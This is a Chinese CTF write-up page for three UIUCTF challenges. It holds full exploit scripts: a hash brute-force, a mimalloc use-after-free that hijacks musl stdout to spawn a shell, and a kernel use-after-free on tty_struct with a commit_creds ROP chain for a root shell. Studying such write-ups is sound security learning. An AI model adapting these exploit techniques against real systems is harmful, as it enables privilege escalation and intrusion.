Sorry, your browser cannot access this site
This page requires browser support (enable) JavaScript
Learn more >

QAS

回答对哈希 0x555 对应的值即可获得flag

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
#!/usr/bin/env python

"""
author: St4ckC00ki3
"""
from pwn import *

filename = "chal"
libcname = ""
host = "qas.chal.uiuc.tf"
port = 1337
elf = context.binary = ELF(filename)
context.terminal = ["tmux", "neww"]
context.log_level = "debug"
if libcname != "":
libc = ELF(libcname)
gs = """
b main
"""


def start():
if args.GDB:
return gdb.debug(elf.path, gdbscript=gs)
elif args.REMOTE:
return remote(host, port)
else:
return process(elf.path)


p = start()


def dbg():
if args.AT:
gdb.attach(p, gs)
pause()


s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rl = lambda x: p.recvline(x)
ia = lambda: p.interactive()
op32 = make_packer(32, endian="big", sign="unsigned") # opposite p32
op64 = make_packer(64, endian="big", sign="unsigned") # opposite p64

# Your exploit here

def generate_quantum_entropy():
seed = getattr(generate_quantum_entropy, "seed", 0x42)
seed = ((seed << 3) ^ (seed >> 5)) + 0x7f
seed &= 0xFF
generate_quantum_entropy.seed = seed
return seed

def quantum_hash(input_val, padding, entropy):
# input_val: int (equivalent to input.val)
# padding: tuple/list of two quantum_byte (input.padding[0], input.padding[1])
# entropy: list of 8 quantum_byte

hash_ = input_val

hash_ ^= (entropy[0] << 8) | entropy[1]
hash_ ^= (entropy[2] << 4) | (entropy[3] >> 4)
hash_ += (entropy[4] * entropy[5]) & 0xff
hash_ ^= entropy[6] ^ entropy[7]
hash_ |= 0xeee
hash_ ^= (padding[0] << 8) | padding[1]

return hash_

entro = [generate_quantum_entropy() for _ in range(8)]

def brute():
for inval in range(0, 0xffff):
for pad0 in range(0, 0xff+1):
for pad1 in range(0, 0xff+1):
if quantum_hash(inval, [pad0,pad1], entro) == 0x555:
return inval, [pad0,pad1]


def exp():

inval, pad = brute()
print(f"inval, pad: {inval}, {pad}")

ru( b'Please enter your quantum authentication code: ')
pay = p16(inval) + p8(pad[0]) + p8(pad[1])
pay = u32(pay)
sl(str(pay))



ia()


exp()

do re mi

first blood

题目功能

标准菜单题
add: malloc(128)
dele: 未清零指针导致 uaf

利用思路

题目使用 mimalloc

参考资料:https://bbs.kanxue.com/thread-278279.htm

mimalloc TLDR

mimalloc 从大到小的内存结构为 segment > page > block

第一个 page 的 page->free 会初始化为指向 有 0x20 个空闲 block 的单链表

释放内存时会把 block 插入 page->local_free 链表头部

分配内存时会优先从 page->free 中取,如果取尽则将 page->local_free 移到 page->free,然后从 page->free 中取,过程没有合法性检查

释放了的内存块的 +0 偏移为 next 指针,指向下一个释放的内存块

page 中存在指向 _mi_heap_main 的指针

流程

  • 分配并释放一个block
  • 读取 释放的 block,泄露 next 指针,从而获得 heap base
  • uaf 篡改 next 指针为 _mi_heap_main 指针 - 0x8 处 (因为要让 fake block 的 next 指针为 0,方便后续继续利用)
  • 耗尽 page->free,分配到 _mi_heap_main 指针 - 0x8,泄露出 mimalloc base 和与之相邻的 ld_base
  • uaf 篡改 next 指针到 musl ld 的 stdout,篡改 stdout->write 为 system
  • puts 触发 system("/bin/sh")

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
#!/usr/bin/env python

"""
author: St4ckC00ki3
"""
from pwncli import *

filename = "chal"
libcname = ""
host = "doremi.chal.uiuc.tf"
port = 1337
# host = "127.0.0.1"
# port = 1337
elf = context.binary = ELF(filename)
context.terminal = ["tmux", "neww"]
context.log_level = "debug"
if libcname != "":
libc = ELF(libcname)
gs = """
"""


def start():
if args.GDB:
return gdb.debug(elf.path, gdbscript=gs)
elif args.REMOTE:
return remote(host, port, ssl=True)
else:
return remote(host, port)
#,return process(elf.path)


p = start()


def leak_address():
if context.arch == "i386":
return u32(p.recv(4))
else:
return u64(p.recv(6).ljust(8, b"\x00"))


def leak_address2(timeout=0.2):
contains = b"\x7f" if context.bits == 64 else b"\xf7"
m = p.recvuntil(contains, timeout=timeout)
if contains not in m:
raise RuntimeError("Cannot get libc addr")
if context.bits == 32:
return u32(m[-4:])
else:
return u64(m[-6:])


def dbg():
if args.AT:
gdb.attach(p, gs)
pause()


s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rl = lambda x: p.recvline(x)
ia = lambda: p.interactive()
op32 = make_packer(32, endian="big", sign="unsigned") # opposite p32
op64 = make_packer(64, endian="big", sign="unsigned") # opposite p64

# Your exploit here

def cmd(i):
sla(b'YAHNC> ', i)

def add(idx):
cmd('1')
ru("Position? (0-15): ")
sl(str(idx))

def edit(idx,msg):
cmd('4')
ru("Position? (0-15): ")
sl(str(idx))
ru("Content? (127 max): ")
s(msg)

def show(idx):
cmd('3')
ru("Position? (0-15): ")
sl(str(idx))

def dele(idx):
cmd('2')
ru("Position? (0-15): ")
sl(str(idx))


def exp():
add(0)
show(0)

heap = leak_address()
leak_ex2(heap)

heap_main = heap - 0xff40 - 8
leak_ex2(heap_main)

# local free: 0
dele(0)

# exhaust page->free
for i in range(0x1f):
add(1)

# local free: 0 -> heap_main_ptr-0x8
edit(0, p64(heap_main))

# get heap_main_ptr chunk
add(2)
add(2)

# leak mi_base via _mi_heap_main
show(2)
r(8)
_mi_heap_main = leak_address()
leak_ex2(_mi_heap_main)
mi_base = _mi_heap_main - 0x2b100
leak_ex2(mi_base)
ld_base = mi_base + 0x33000
leak_ex2(ld_base)
stdout = ld_base + 0x00A2280
leak_ex2(stdout)
system = ld_base + 0x0005BB7E

# corrupt stdout

# local free: 0 -> stdout
dele(0)
edit(0, p64(stdout))

add(3)
add(3)
payload = b'/bin/sh\x00'
payload += b'X' * 64
payload += p64(system)
edit(3, payload)

ia()


exp()

baby kernel

题目功能

标准菜单内核堆
add: 允许分配任意大小
dele: 未清零指针造成 uaf

利用思路

  • 分配 0x2e0 并释放,创建 tty_struct 到 释放的堆块
  • 打印堆块泄露 kernel base
  • 篡改 tty_struct->ops 到 fake ops,构造 rop
  • rop 链先 commit_creds(&init_cred) 获得 root,然后 swapgs iret 返回到 用户态的函数
  • 用户态函数调用 /bin/sh 获得 root shell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
#include "pwnc.h"

int tty_fd,dev_fd;

void new(uint64_t size)
{
ioctl(dev_fd,0x4008B900,&size);
}

void delete()
{
ioctl(dev_fd,0xB901,0);
}

void edit(char* arg)
{
ioctl(dev_fd,0x4001B902,arg);
}

void show(char* out)
{
ioctl(dev_fd, 0x8001B902, out);
}

#define KADDR(addr) ((uint64_t)addr - 0xffffffff81000000 + kbase)
uint64_t kbase = 0;

size_t user_cs, user_ss, user_rflags, user_sp;

void save_status(void)
{
asm volatile (
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);

puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

void get_root_shell(void)
{
if(getuid()) {
panic("[x] Failed to get the root!");
sleep(5);
exit(EXIT_FAILURE);
}

info("[+] Successful to get the root.");
info("[*] Execve root shell now...");

system("/bin/sh");

/* to exit the process normally, instead of potential segmentation fault */
exit(EXIT_SUCCESS);
}

int main()
{
save_status();
dev_fd = chk(open("/dev/vuln",O_RDWR));

new(0x2e0);
delete();

tty_fd = chk(open("dev/ptmx",O_RDWR | O_NOCTTY));

uint64_t *leak = malloc(0x2e0);
show(leak);

kbase = leak[4] - 0x1285100;
info("kbase: 0x%lx\n", kbase);

uint64_t tty_addr = leak[8] - 0x40;
info("tty: 0x%lx\n", tty_addr);

uint64_t modprobe_path = kbase + 0x1b3f600;
info("modprobe_path: 0x%lx\n", modprobe_path);

uint64_t leave_ret = kbase + 0x324e3;
uint64_t pop_rsp = kbase + 0x15b2af;
uint64_t pop_rdi = KADDR(0xffffffff8104b80d);
uint64_t prepare_kernel_cred = kbase + 0xb9c20;
uint64_t init_cred = kbase + 0x1a52fc0;
uint64_t commit_creds = kbase + 0xb9970;
// uint64_t swapgs = kbase + 0x10016c1;
uint64_t swapgs = kbase + 0x1001706;

leak[0] = 0x5401;
leak[1] = pop_rsp; // retaddr #2
leak[2] = tty_addr+0x200;
leak[4] = tty_addr+0x100-0x60; // ops

leak[0x100/8] = leave_ret; // retaddr #1

uint64_t *ptr = leak + 0x200/8;

*ptr++ = pop_rdi; // retaddr #3
*ptr++ = init_cred;
*ptr++ = commit_creds;
*ptr++ = swapgs;
*ptr++ = get_root_shell;
*ptr++ = user_cs;
*ptr++ = user_rflags;
*ptr++ = user_sp; // userland stack balance
*ptr++ = user_ss;

edit(leak);

ioctl(tty_fd, 0xdeadbeef, 0x1111111);

}

评论




本站总访问量为 次 访客数为 人